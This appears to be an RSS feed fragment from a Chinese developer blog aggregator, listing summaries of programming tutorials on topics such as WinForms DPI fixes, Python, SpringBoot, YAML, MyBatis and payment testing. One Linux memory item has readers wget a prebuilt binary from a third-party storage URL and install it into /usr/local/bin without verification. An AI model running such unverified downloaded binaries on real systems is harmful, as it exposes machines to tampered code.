Synchronize(UpdateCaption); and UpdateCaption could look like, procedure TestThread.UpdateCaption; begin Form1.Caption := &#39;Updated in a thread&#39;; end; or Synchronize( procedure begin Form1.</description>
    </item>
    <item>
      <title>高分屏、屏幕有缩放比情况下Winform窗体变形问题解决方案</title>
      <link>https://bchobby.github.io/posts/b715e003fe2791047619c16e3d0c1a0a/</link>
      <pubDate>Wed, 06 Dec 2023 11:56:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b715e003fe2791047619c16e3d0c1a0a/</guid>
      <description>高分屏、屏幕有缩放比情况下Winform窗体变形问题解决方案 环境问题描述解决方案永久方案：修改注册表（亲测有效，个人推荐） 环境 电脑：联想拯救者Y9000P&#xA;主屏分辨率：2560x1600&#xA;缩放：150%&#xA;操作系统：Windows 11&#xA;Visual Studio版本：VS2022&#xA;问题描述 我最初是在之前小米游戏（Windows10，主屏分辨率1920x1080，缩放100%）本上开发的一个winform应用，一切显示正常，在更换到高分屏的联想笔记本电脑下，在使用vs2022开发Winform窗体应用时，界面控件位置乱了，有遮挡，按钮也变小了，同时在窗体设计器顶部出现一个提示：&#xA;主显示器缩放比例设置为150%。请考虑在非DPI感知模式下打开WinForms设计器。&#xA;如下图：&#xA;运行时效果如下：&#xA;可以看出明显时有问题的。&#xA;解决方案 永久方案：修改注册表（亲测有效，个人推荐） 1、打开注册表编辑器，找到下面这个路径：&#xA;HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers&#xA;如下图：&#xA;2、在右侧新建一个字符串值。&#xA;2.1 值为：devenv.exe所在的路径（安装vs时选择的路径不同位置会有所不同，如果安装了多个版本的vs，则需要添加多个值）&#xA;2.2 类型为：REG_SZ&#xA;2.3 数据为：DPIUNAWARE&#xA;我的VS2022版本的devenv.exe的路径为：&#xA;D:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\IDE\devenv.exe&#xA;我的VS2013版本的devenv.exe的路径为：&#xA;D:\Program Files (x86)\Microsoft Visual Studio 12.0\Common7\IDE\devenv.exe&#xA;添加完，如下图：&#xA;3、关闭注册表编辑器，关闭已打开的VS，重新打开VS，如下图：&#xA;可以看到，显示已经正常了，窗体设计器顶部的提示也没有了。&#xA;4、运行后的效果如下图：&#xA;也显示正常了。&#xA;其他临时方案不推荐用，此处不再描述。</description>
    </item>
    <item>
      <title>Python(一)</title>
      <link>https://bchobby.github.io/posts/c6a63381854cd8dfdae8f7080719fe22/</link>
      <pubDate>Wed, 06 Dec 2023 10:41:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6a63381854cd8dfdae8f7080719fe22/</guid>
      <description>1.运行python程序的两种方式 1.交互式 即时得到程序的运行结果 2.脚本方式 把程序写到文件里(约定俗称文件名后缀为.py),然后用python解释器解释执行其中的内容 2.python程序运行的三个步骤 python3.8 C:\a\b\c.py 1.先启动python3.8解释器,此时相当于启动了一个文本编辑器 2.解释器会发送系统调用，把c.py的内容从硬盘读入内存，此时c.py中的内容全部为普通字符,没有任何语法意义 3.解释器开始解释执行刚刚读入内存的c.py的代码，开始识别python语法 3.变量 变量就是可以变化的量，量指的是事物的状态，比如人的年龄、性别，游戏角色的等级、金钱等等 #为什么要有变量？ 答：为了让计算机能够像人一样去记忆事物的某种状态，并且状态是可以发生变化的 详细地说： 程序执行的本质就是一系列状态的变化，变是程序执行的直接体现， 所以我们需要有一种机制能够反映或者说是保存下来程序执行时状态，以及状态的变化。 #如何使用变量 1.变量基本使用 # 原则:先定义，后引用 name = &#39;egon&#39;&#x9;#定义-》存 print(name)&#x9;#引用-》取 2.内存管理:垃圾回收机制 垃圾:当一个变量值被绑定的变量名的个数为0时，该变量值无法被访问到---垃圾 3.变量名的命名规则 原则:变量名的命名应该见名知意 1. 变量名只能是 字母、数字或下划线的任意组合 2. 变量名的第一个字符不能是数字 3. 关键字不能声明为变量名，常用关键字如下 [&#39;and&#39;, &#39;as&#39;, &#39;assert&#39;, &#39;break&#39;, &#39;class&#39;, &#39;continue&#39;, &#39;def&#39;, &#39;del&#39;, &#39;elif&#39;, &#39;else&#39;, &#39;except&#39;, &#39;exec&#39;, &#39;finally&#39;, &#39;for&#39;, &#39;from&#39;, &#39;global&#39;, &#39;if&#39;, &#39;import&#39;, &#39;in&#39;, &#39;is&#39;, &#39;lambda&#39;, &#39;not&#39;, &#39;or&#39;, &#39;pass&#39;, &#39;print&#39;, &#39;raise&#39;, &#39;return&#39;, &#39;try&#39;, &#39;while&#39;, &#39;with&#39;, &#39;yield&#39;] 4.</description>
    </item>
    <item>
      <title>linux缓冲区（buff/cache）内存占用过高解决办法</title>
      <link>https://bchobby.github.io/posts/8892629feca3e297b6ffa744d3dcf6db/</link>
      <pubDate>Wed, 06 Dec 2023 10:33:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8892629feca3e297b6ffa744d3dcf6db/</guid>
      <description>1.查看当前内存剩余&#xA;free -m 2.发现free剩余很少，buff/cache占用很高&#xA;3.安装hcache查看谁在占用&#xA;wget https://silenceshell-1255345740.cos.ap-shanghai.myqcloud.com/hcache chmod 755 hcache &amp;amp;&amp;amp; mv hcache /usr/local/bin/ hcache -top 10 3.发现是journal这个东西，这是linux系统日志，出现这种情况，一般是日志没有配置好&#xA;查看配置文件&#xA;cat /etc/systemd/journald.conf 将Storage=persistent&#xA;重启日志服务&#xA;systemctl restart systemd-journald 手动清理缓存区&#xA;echo 1 &amp;gt; /proc/sys/vm/drop_caches 再次free -m 查看</description>
    </item>
    <item>
      <title>为什么需要淘宝/天猫商品详情 API？</title>
      <link>https://bchobby.github.io/posts/a59398cb4a1fdced18b049d40267f44c/</link>
      <pubDate>Wed, 06 Dec 2023 10:29:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a59398cb4a1fdced18b049d40267f44c/</guid>
      <description>为什么需要淘宝/天猫商品详情 API？&#xA;随着互联网的快速发展和电商市场的不断扩大，传统的购物方式已经无法满足人们的需求。越来越多的人开始选择在网上购物，而电商平台则成为了人们购物的主要渠道之一。在这个过程中，淘宝/天猫商品详情 API 扮演着至关重要的角色。本文将从市场需求、用户体验、开发者和商业应用四个方面来探讨为什么需要淘宝/天猫商品详情 API。&#xA;一、市场需求&#xA;在电商市场中，用户的需求是多种多样的，每个用户都有自己的购物需求和偏好。为了满足用户的个性化需求，电商平台需要提供更加丰富和全面的商品信息。然而，如果电商平台手动整理和编辑商品信息，不仅工作量大，而且容易出错。因此，通过淘宝/天猫商品详情 API，电商平台可以快速、准确地获取到商品详情信息，从而更好地满足用户的需求。&#xA;二、用户体验&#xA;对于用户来说，快速、准确地获取到商品信息是非常重要的。如果用户在搜索商品时需要等待很长时间才能得到结果，或者得到的结果不准确、不全面，那么用户的购物体验将会大打折扣。而淘宝/天猫商品详情 API 可以提供快速、准确的商品信息获取服务，从而使用户能够更加方便快捷地查找和购买商品。&#xA;三、开发者和商业应用&#xA;对于开发者和商业应用来说，淘宝/天猫商品详情 API 提供了丰富的商品信息，从而为各种商业应用提供了可能性。例如，开发者可以通过 API 获取商品信息，然后结合其他数据进行分析和挖掘，为电商企业提供更加准确的市场分析和预测服务。同时，电商企业也可以利用 API 获取到的商品信息进行个性化推荐、营销策略制定等应用。&#xA;四、安全性和合规性&#xA;在获取商品信息时，需要考虑安全性和合规性。淘宝/天猫商品详情 API 采用了严格的授权机制和数据加密措施，确保用户数据的安全性。此外，API 还符合相关法律法规和监管要求，保证了电商平台的合法性和稳健性。&#xA;综上所述，淘宝/天猫商品详情 API 的需求来自于市场需求、用户体验、开发者和商业应用以及安全性和合规性等多个方面。随着电商市场的不断扩大和技术的不断发展，淘宝/天猫商品详情 API 的重要性也将日益凸显。未来，我们可以预见该 API 将不断升级和完善，为电商平台的发展和用户的购物体验带来更多的创新和价值。</description>
    </item>
    <item>
      <title>【PUSDN】SpringBoot的jar进行解压后，替换其中的文件重新生成新的jar-SW</title>
      <link>https://bchobby.github.io/posts/89103c06a61fcd2a3377923c354a4e18/</link>
      <pubDate>Wed, 06 Dec 2023 10:15:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89103c06a61fcd2a3377923c354a4e18/</guid>
      <description>当你解压Spring Boot的JAR文件时，实际上是在打开一个压缩文件，类似于ZIP。你可以按照以下步骤进行替换文件并重新生成新的JAR：&#xA;解压原始的JAR文件： 使用任何ZIP工具（如WinRAR、7-Zip或命令行工具），将Spring Boot的JAR文件解压缩到一个目录。 jar -xf your-original-app.jar 替换文件： 在解压后的目录中，找到并替换你想要更新的文件。重新打包： 在包含替换文件的目录中，使用以下命令重新打包为JAR文件： jar -cf your-updated-app.jar -C your-extracted-directory . 这个命令将在当前目录下创建一个新的JAR文件，包含你替换过的文件。&#xA;测试新的JAR文件： 运行新的JAR文件，确保你的应用程序能够正常工作。 java -jar your-updated-app.jar 验证更改： 确保你的更改已经生效。你可以访问应用程序的相关端点或功能，以确保替换文件的效果。 请记住，这种方式可能不适用于所有情况，特别是在生产环境中。在生产环境中，更好的方法是通过持续集成和部署（CI/CD）工具来进行自动化构建和部署。</description>
    </item>
    <item>
      <title>CSP认证 202303-2 垦田计划 优化之后的方法 100分题解</title>
      <link>https://bchobby.github.io/posts/4b95a9af4907ac07566b4d94a9c1b52a/</link>
      <pubDate>Wed, 06 Dec 2023 09:50:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b95a9af4907ac07566b4d94a9c1b52a/</guid>
      <description> 看了博客里大佬的做法，可以考虑到不用每次都去遍历那个时间所需资源数的数组或者列表，因为每次想要让整体时间缩短，就考虑所需天数最大的，当天数最大的不唯一时，比如样例中，开始需要6天的就有两个，所以想要让整体工期从6天到5天，就需要把所有6天的资源都给足才可以，代码里用到了cost数组，cost[i]表示所有需要i天才能完成的任务，想要缩短，所需要的资源总数（所有的都加起来）&#xA;#include&amp;lt;iostream&amp;gt; using namespace std; const int N = 100010; int cost[N] = {0}; //cost[i]表示的是还需要i天完成的所有任务都想缩短需要的资源数 int main(){ long long m,n,k,maxday = 0; cin &amp;gt;&amp;gt; n &amp;gt;&amp;gt; m &amp;gt;&amp;gt; k; for(int i = 0; i &amp;lt; n; i++){ int dayNum,c; cin &amp;gt;&amp;gt; dayNum &amp;gt;&amp;gt; c; cost[dayNum] += c; if(dayNum &amp;gt; maxday){ //用maxday记录当前最长的时间 maxday = dayNum; } } while((maxday &amp;gt; k) &amp;amp;&amp;amp; (m &amp;gt;= cost[maxday])){ //两种情况下不能继续调整，第一个是已经达到了要求的最短开垦时间，第二个是当前剩余资源已经不够再减一天了 int maxCost = cost[maxday]; m -= maxCost; //调整剩余资源数 maxday--; cost[maxday] += maxCost; } cout &amp;lt;&amp;lt; maxday; return 0; } </description>
    </item>
    <item>
      <title>人类细胞造出了微型生物机器人</title>
      <link>https://bchobby.github.io/posts/74e33253eae60317ca512f79fe1f7ec0/</link>
      <pubDate>Wed, 06 Dec 2023 09:30:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74e33253eae60317ca512f79fe1f7ec0/</guid>
      <description>文章目录 机器人可以从一个成年人的细胞中创造出来，而且还无需任何基因改造，这意味着什么？&#xA;对无数患者来说，这意味着从他们自身衍生出的生物机器人，可以帮助他们恢复健康、愈合创伤、治疗疾病，这是医疗工具研发史上一个崭新的起点。&#xA;现在，美国塔夫茨大学和哈佛大学研究人员已经成功利用人类气管细胞，创建了一种微型生物机器人Anthrobot。它不但可在神经元表面移动，还能使实验室培养皿中的受损神经元恢复生长。&#xA;这种多细胞机器人的大小，从人类头发的宽度到削尖的铅笔尖不等，可自行组装，并显示出对其他细胞的显著治疗效果。&#xA;发表于《先进科学》杂志的这项研究成果，回答了更为广泛的医学问题：控制细胞在体内组装和协同工作的规则是什么？细胞是否可在自然生长环境中遵照不同的“身体计划”重新组合，从而执行其他功能？&#xA;人类细胞机器人，神秘又安全&#xA;研究人员吉泽姆·古姆斯卡娅认为，通过重新编程细胞之间的相互作用，可创建新的多细胞结构，类似于石头和砖块可排列成不同的结构，如墙壁、拱门或柱子。他们发现，这些细胞不仅会创造多细胞形状，而且能激发新的生长来填补因划伤细胞层而造成的间隙。&#xA;有意思的是，Anthrobot怎样做到这一点的，科学家尚不清楚，但他们看到了神经元确实生长在Anthrobot集群组装所覆盖的区域下。&#xA;使用人类细胞的优点非常明显。首先，由患者自身细胞构建的机器人，执行治疗任务不会引发免疫反应或承受免疫抑制剂风险；其次，它们只持续几周就会分解，因此在工作完成后很容易就被重新吸收到体内。&#xA;而在体外，Anthrobot只能在特定实验室条件下生存，没有暴露或意外传播到实验室外的风险。它们不会繁殖，也没有经过基因编辑、添加或删除，没有超出现有保障措施的风险。&#xA;人类细胞机器人如何生长&#xA;每个Anthrobot最初都是一个细胞，来自成年供体。这些细胞来自气管表面，覆盖着纤毛，可来回摆动。纤毛帮助气管细胞排出微小的颗粒，这些颗粒进入肺部的气道，人体通过咳嗽或清嗓子排出颗粒和多余液体，都需要纤毛细胞的帮助。早期研究表明，当细胞在实验室生长时，它们会自发形成称为类器官的微小多细胞球体。&#xA;此次，研究人员开发了纤毛在类器官上朝外生长的条件。几天之内，它们开始“四处走动”，由纤毛驱动，就像桨一样。团队注意到了不同的运动形状和类型，这是生物机器人平台的首个重要特征。&#xA;这些创建出来的不同类型的Anthrobot，有些是球形的，完全被纤毛覆盖；有些是不规则的，纤毛覆盖得更斑驳，或者只是在一侧覆盖着纤毛。&#xA;Anthrobot在实验室培养皿中可以自我组装，并不需要镊子或手术刀来塑造它们。研究人员可使用成体细胞，甚至是来自老年患者的细胞，而不是胚胎细胞来培养。它们还是完全可扩展的，人们可并行创建成群的机器人。&#xA;小小治疗师，绘制新蓝图&#xA;古姆斯卡娅解释说，细胞具有与生俱来的能力，能以某些基本方式自组装成更大的结构。这些细胞可形成片层、折叠形状、球体，可按类型分类和分离、融合在一起，甚至移动。&#xA;与那些“无生命砖块”的两个重要区别是，细胞可相互交流并动态地创建这些结构，并且每个细胞都具有许多功能，例如运动、分泌分子、检测信号等。&#xA;确切来说，人们不是“发现”了它们，人们只是在弄清楚如何结合这些元素来创造新的生物“身体计划”和功能，而这与自然界中发生的有很大不同。&#xA;研究人员称，生物机器人的下一步开发将会带来其他应用，包括清除动脉粥样硬化患者动脉中的斑块、修复脊髓或视网膜神经损伤、识别细菌或癌细胞，或将药物输送到目标组织。从理论上讲，Anthrobot不但可帮助愈合组织，还能向受损部位提供促进再生的药物。</description>
    </item>
    <item>
      <title>记录一下Mac配置SpringBoot开发环境</title>
      <link>https://bchobby.github.io/posts/3a6b3e8236df4a900a10bb393f5f78c2/</link>
      <pubDate>Wed, 06 Dec 2023 09:10:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a6b3e8236df4a900a10bb393f5f78c2/</guid>
      <description>由于很多项目喜欢使用传统的 Java 8 进行开发，而且 Java 8 的稳定性也是经过长久考验的，我们接下来就尝试一下，在一台新的 Mac 中配置 Java 环境，并且开始创建 SpringBoot 项目。&#xA;首先，去 Oracle 官网下载 java8 JDK ，选择 macOS 的 .dmg 版本安装包。&#xA;一路 continue 进行安装：&#xA;1. Java 环境配置&#xA;使用命令打开 .bash_profile 文件：&#xA;vim ~/.bash_profile 选择编辑模式，之后插入一下环境变量语句：&#xA;# java-environment-config JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.jdk/Contents/Home PATH=$JAVA_HOME/bin:$PATH CLASSPATH=$JAVA_HOME/lib/tools.jar:$JAVA_HOME/lib.dt.jar:. export JAVA_HOME export PATH export CLASSPATH 注意第二行中的 jdk1.8.jdk ，这里要改成你自己的 JDK 版本。&#xA;最后两行是maven需要的，这一步先忽略。&#xA;重要提示，博主之前在这里卡了一段时间，是由于jdk路径不对，导致后面的maven出错，最好按照以下两点核对一下路径是否正确：&#xA;1、查看Java的安装路径：/usr/libexec/java_home -V #这里一定要是大写的V。&#xA;2、查看变量值： echo $JAVA_HOME&#xA;保存以后，重新打开终端，输入以下命令保存刚才的文件：&#xA;source ~/.bash_profile 最后，新打开一个终端，输入命令 java查看环境是否生效：&#xA;验证 IDEA 使用 java1.8&#xA;打开 IDEA ，新建一个项目，发现这时候已经自动识别出来 Java 解释器：</description>
    </item>
    <item>
      <title>Vue3网站用户引导功能【Intro.js】</title>
      <link>https://bchobby.github.io/posts/ee652896ba5417bd82cf63fdea8c537c/</link>
      <pubDate>Wed, 06 Dec 2023 08:07:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee652896ba5417bd82cf63fdea8c537c/</guid>
      <description>一、介绍 Intro.js 是一个用于创建网站用户引导、功能介绍和教程的 JavaScript 库。它允许开发者通过步骤和提示突出显示网站上的特定元素，以帮助用户更好地了解和使用网站的功能。以下是 Intro.js 的一些关键特点和用法介绍：&#xA;更多Intro.js 功能网址：Intro.js Themes | Intro.js Docs&#xA;二、主要特点 用户引导： Intro.js 可以创建引导，引导用户在网站上执行特定的操作或了解关键功能。步骤和提示： 可以定义引导中的每个步骤，并为每个步骤提供提示，包括标题、描述和位置。高亮显示元素： Intro.js 允许高亮显示网站上的特定元素，使其在引导中更为突出。导航按钮： 提供导航按钮，使用户能够在引导的步骤之间进行切换。自定义样式： Intro.js 允许开发者自定义引导的样式，以匹配网站的设计风格。 三、代码实现 1.JS方式实现 （1）安装Intro.js插件 npm install intro.js --save // 使用npm安装 或&#xA;yarn add intro.js // 使用yarn安装 （2）引入Intro.js import IntroJs from &#39;intro.js&#39; // introjs库 import &#39;intro.js/introjs.css&#39; // introjs默认css样式 // import &#39;intro.js/themes/introjs-modern.css&#39; // introjs主题 （3）实现整体Vue引导 &amp;lt;template&amp;gt; &amp;lt;div class=&#34;container&#34;&amp;gt; &amp;lt;div id=&#34;one&#34;&amp;gt;引导111111&amp;lt;/div&amp;gt; &amp;lt;div id=&#34;two&#34;&amp;gt;引导2222222&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div id=&#34;finally&#34;&amp;gt;引导333333&amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import IntroJs from &#39;intro.</description>
    </item>
    <item>
      <title>C语言两种方法找寻数组的下标</title>
      <link>https://bchobby.github.io/posts/8dae9e16742e91639447b6d0e0f06766/</link>
      <pubDate>Wed, 06 Dec 2023 00:06:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8dae9e16742e91639447b6d0e0f06766/</guid>
      <description>方法一：二分查找法&#xA;#include&amp;lt;cstdio&amp;gt; #include&amp;lt;iostream&amp;gt; using namespace std; int main() { int arr[10] = { 1,2,3,4,5,6,7,8,9,10 }; int k = 6;//在数组中找到6 int i = 0; int sz = sizeof(arr) / sizeof(arr[0]); int flat = 0; int left = 0; int right = sz-1; while (left &amp;lt;= right) { int mid = left + (right - left) / 2; if (arr[mid] &amp;lt; k) { left = mid + 1; } else if (arr[mid] &amp;gt; k) { right = mid - 1; } else { flat = 1; printf(&#34;</description>
    </item>
    <item>
      <title>YAML入门</title>
      <link>https://bchobby.github.io/posts/3973d553b7a9d5ae43f412e113f3d49b/</link>
      <pubDate>Tue, 05 Dec 2023 21:04:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3973d553b7a9d5ae43f412e113f3d49b/</guid>
      <description>1 YAML概述 YAML 是 “YAML Ain’t a Markup Language”（YAML 不是一种标记语言）的递归缩写。在开发的这种语言时，YAML 的意思其实是：“Yet Another Markup Language”（仍是一种标记语言）。YAML 的语法和其他高级语言类似，并且可以简单表达清单、散列表，标量等数据形态。它使用空白符号缩进和大量依赖外观的特色，特别适合用来表达或编辑数据结构、各种配置文件、倾印调试内容、文件大纲（例如：许多电子邮件标题格式和YAML非常接近）。YAML 的配置文件后缀为 .yml，如：runoob.yml 。+ 2 YAML 语法 YAML基本语法：&#xA;大小写敏感&#xA;使用缩进表示层级关系&#xA;缩进不允许使用tab，只允许空格&#xA;缩进的空格数不重要，只要相同层级的元素左对齐即可&#xA;&#39;#&#39;表示注释&#xA;3 YAML 对象 YAML 支持以下几种数据类型，可以和JSON进行类比：&#xA;对象：键值对的集合，又称为映射（mapping）/ 哈希（hashes） / 字典（dictionary）&#xA;数组：一组按次序排列的值，又称为序列（sequence） / 列表（list）&#xA;纯量（scalars）：单个的、不可再分的值&#xA;以 - 开头的行表示构成一个数组：&#xA;- A - B - C YAML 支持多维数组，可以使用行内表示：&#xA;key: [value1, value2, ...] 一个相对复杂的例子：意思是 companies 属性是一个数组，每一个数组元素又是由 id、name、price 三个属性构成。&#xA;companies: - id: 1 name: company1 price: 200W - id: 2 name: company2 price: 500W 数组也可以使用流式(flow)的方式表示：</description>
    </item>
    <item>
      <title>Android.mk转Android.bp及介绍</title>
      <link>https://bchobby.github.io/posts/499533fc144a9401875c27ad024620f2/</link>
      <pubDate>Tue, 05 Dec 2023 19:39:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/499533fc144a9401875c27ad024620f2/</guid>
      <description>一、Android.mk转成Android.bp是可以通过工具转换的&#xA;工具的路径为：ASOP/out/soong/host/linux-x86/bin/androidmk&#xA;直接把你要转换的Android.mk 文件放置到此目录下，然后执行命令：&#xA;./androidmk Android.mk &amp;gt; Android.bp&#xA;二、编译不同类型模块的写法&#xA;1、编译成 Java 库&#xA;Android.mk include $(BUILD_JAVA_LIBRARY) Android.bp java_library { ...... } 2 编译成 Java 静态库&#xA;Android.mk include $(BUILD_STATIC_JAVA_LIBRARY) Android.bp java_library_static { ...... } 3 编译成 App 应用&#xA;Android.mk include $(BUILD_PACKAGE) Android.bp android_app { ...... } 4、 编译成 Native 动态库&#xA;Android.mk include $(BUILD_SHARED_LIBRARY) Android.bp cc_library_shared { ...... } 5 编译成 Native 静态库&#xA;Android.mk include $(BUILD_STATIC_LIBRARY) Android.bp cc_library_static { ...... } 6、编译成 Native 执行程序</description>
    </item>
    <item>
      <title>Ubuntu22.04地震数据处理软件Madagascar安装</title>
      <link>https://bchobby.github.io/posts/324e992efcede05cbe4d895ea405681c/</link>
      <pubDate>Tue, 05 Dec 2023 17:32:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/324e992efcede05cbe4d895ea405681c/</guid>
      <description>目录 前言的前言前言安装之前的准备系统版本：Ubuntu22.04建议的软件目录软件下载环境（依赖库）安装（重要） 编译和安装环境变量配置安装结束结语安装过程可能遇到的问题1.epydoc2.Make过程中的_byte2tif.c编译错误（2023年4月1日版本）（后续已修复） 前言的前言 考虑到该平台每况愈下的博客环境，我将这篇文章转移到了cplusv的个人博客，目前内容在CSDN平台上依旧保留，但可能在未来某个时间我会将这个平台上的内容撤下。&#xA;前言 Madagascar 是一款开源的地震数据处理软件，其不仅提供了地震数据处理所需要的各类软件包，还为数据处理提供了有力的编程环境。更多关于Madagascar 的介绍和使用方法，可以参考官方wiki页面：&#xA;Madagascar Main Page(ahay.org)&#xA;下面是摘自官方wiki介绍：&#xA;Madagascar is an open-source software package for multidimensional data analysis and reproducible computational experiments. Its mission is to provide:&#xA;a convenient and powerful environmenta convenient technology transfer tool for researchers working with digital image and data processing in geophysics and related fields. Technology developed using the Madagascar project management system is transferred in the form of recorded processing histories, which become “computational recipes” to be verified, exchanged, and modified by users of the system.</description>
    </item>
    <item>
      <title>Mabatis处理异常屏蔽SQL返回前端全局异常捕获处理</title>
      <link>https://bchobby.github.io/posts/e521d2a37275fe8b29d9884ee29064c2/</link>
      <pubDate>Tue, 05 Dec 2023 15:58:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e521d2a37275fe8b29d9884ee29064c2/</guid>
      <description>文章目录 Mabatis处理异常屏蔽SQL返回前端全局异常捕获处理结论1 java异常体系2 Spring框架异常处理3 定位Spring框架转化为哪种unchecked异常3.1 捕获RuntimeException定位Spring框架转化抛出的异常类3.2 进一步查看包名判断3.3 识别MyBatisSystemException下级实现3.3 识别MyBatisSystemException继承实现 Mabatis处理异常屏蔽SQL返回前端全局异常捕获处理 结论 在全局异常处理类中添加MyBatisSystemException即可单独对MyBatis中和数据库操作相关异常操作进行全局处理，同时屏蔽sql内容，只返回文字 “服务错误，请联系系统管理员” 给前端。&#xA;@Slf4j @ControllerAdvice public class ExceptionHandlerAdvice { /** * Sql查询失败在spring的包装下会统一抛出非受检异常,单独捕获,防止sql语句被返回给前端 */ @ResponseBody @ExceptionHandler(MyBatisSystemException.class) public Object handleBindException(HttpServletRequest req, MyBatisSystemException e) { String path = &#34;http://&#34;+req.getRemoteAddr()+&#34;:&#34;+req.getServerPort() + req.getRequestURI(); log.error(&#34;访问 &#34;+path +&#34;报错,报错信息为: &#34;+ e.getMessage(), e); return new BaseResult&amp;lt;&amp;gt;(CodeEnum.E500, false, &#34;服务错误，请联系系统管理员。&#34;); } //拦截所有Exception,展示Error页面 @ResponseBody @ExceptionHandler({Exception.class}) public BaseResult errorHandler(HttpServletRequest req, Exception e) { String path = &#34;http://&#34;+req.getRemoteAddr()+&#34;:&#34;+req.getServerPort() + req.getRequestURI(); log.error(&#34;访问 &#34;+path +&#34;</description>
    </item>
    <item>
      <title>linux java后台启动的几种方式</title>
      <link>https://bchobby.github.io/posts/42e1e39e76dbfcf0f5b2451136342c08/</link>
      <pubDate>Tue, 05 Dec 2023 15:35:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42e1e39e76dbfcf0f5b2451136342c08/</guid>
      <description> 1.使用 nohup 命令 可以使用 nohup 命令启动 Java 应用程序，使其在后台运行，这样即使退出终端或关闭 SSH 连接，Java 应用程序也能继续运行。 nohup java -jar myapp.jar &amp;amp; 2.使用 &amp;amp; 符号 使用 &amp;amp; 符号可以将 Java 应用程序放到后台运行。&#xA;java -jar myapp.jar &amp;amp; </description>
    </item>
    <item>
      <title>【银行测试】第三方支付功能测试点&#43;贷款常问面试题（详细）</title>
      <link>https://bchobby.github.io/posts/359bfbcd811dce9eb1c18865d78a1015/</link>
      <pubDate>Tue, 05 Dec 2023 14:44:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/359bfbcd811dce9eb1c18865d78a1015/</guid>
      <description>目录：导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结（尾部小惊喜） 前言 1、第三方支付功能测试点&#xA;支付流程：&#xA;我们在测试一个功能时，需要先了解一下这个逻辑，而订单支付逻辑普遍都会有以下内容：&#xA;1）创建本地唯一订单号；&#xA;2）去调用支付，在支付平台生成一个支付订单；&#xA;会返回一个支付凭证(payInfo)&#xA;支付订单号在回调方法中会拿到&#xA;3）此时待支付状态下，支付平台回调通知接口；&#xA;在本地保存待支付订单信息（此时有两个订单记录：一个本地订单，一个支付平台的订单，两个ID关联）&#xA;4）用户根据收到的支付凭证发起支付(只需要管支付成功的，不成功可以当成忽略)&#xA;5）支付平台回调通知接口(支付成功)&#xA;更新支付订单&#xA;更新本地订单&#xA;后续操作&#xA;6）主动查询订单状态&#xA;更新支付订单&#xA;更新本地订单&#xA;后续操作&#xA;退款或体现（不做具体阐述）&#xA;实际遇到支付的异常测试点：&#xA;上面的内容了解即可，大部分内容项目熟了就知道了，很多时候具体项目具体分析。下面的异常测试点大多是我亲身经历过的容易出现异常的情况。&#xA;具体测试场景：&#xA;1）连续访问2次（或以上）支付接口，在第一次访问未回调完成时，第二次访问需要做限制；&#xA;可能出现的问题：直接返回第二次的结果，而第一次就可能是成功的，只是第一次请求返回的结果被第二次请求返回的失败结果所覆盖；&#xA;2）连续访问回调订单接口（向支付平台提交支付请求接口），生成的多个签名，需要校验订单返回的是否是最新的签名；&#xA;可能出现的问题：使用前面生成的一个签名去支付，会报错；&#xA;3）一个订单反复提交支付再返回，退出支付再次调取支付只允许生成不同的签名，这个根据需求；&#xA;4）需要校验1个签名只能支付1次，这个根据需求；&#xA;5）支付签名的校验，这个看需求及个人。如：异常/特殊符号等；&#xA;6）支付0元/0.01元/0.001元；&#xA;7）支付负值；&#xA;8）支付回调超时情况后端处理：一个合理的文案。方法：加挡板/断点；&#xA;9）注意一下消息回调，如果是第三方支付系统，通常会有消息的异步回调。&#xA;如：支付后，会在一定时间内无限循环查询接口，最后会回传成功或失败，但是订单不会直接知道这个结果，系统需要再次访问一个接口了解支付的最新状态才能知道订单是否支付成功；&#xA;2、贷款知识面试题&#xA;1）假如要你测试6个月期限的p2p借款产品，你应该怎么设计案例，说出测试点？&#xA;回答思路：1站在用户的角度测试，用户怎么用，你就怎么测试。2 一个人扮演多种角色测试。 3多想出一些异常场景。&#xA;借款产品投标结束日T+7时，满标和不满标的情况。&#xA;借款产品投标结束日T+7前，产品提前满标情况&#xA;产品成立后，每个月还款日前，检查系统有没有发出邮件，短信，站内信通知借款人充值到平台账户。&#xA;在每月还款日，借款人充值用来还款时，充值资金足够、不足够、不充值情况，查看系统如何处理。充值资金不足或者没有充值时，系统应该有罚息。&#xA;借款人提前还清余款场景，有些产品不支持提前还款，有些产品要满一定期限才可以提前还款（提前还款有一定手续费）。&#xA;这些都是要关注的测试点。（自己要扮演借款用户去操作提前还清余款，然后扮演后台管理员去审核，然后又扮演投资人用户去检查虚拟账户的资金到账情况）&#xA;最后一期借款人还清资金时，去后台页面查看借款产品状态，应该已正常结束。再去前台页面搜索，应该无该借款产品了。 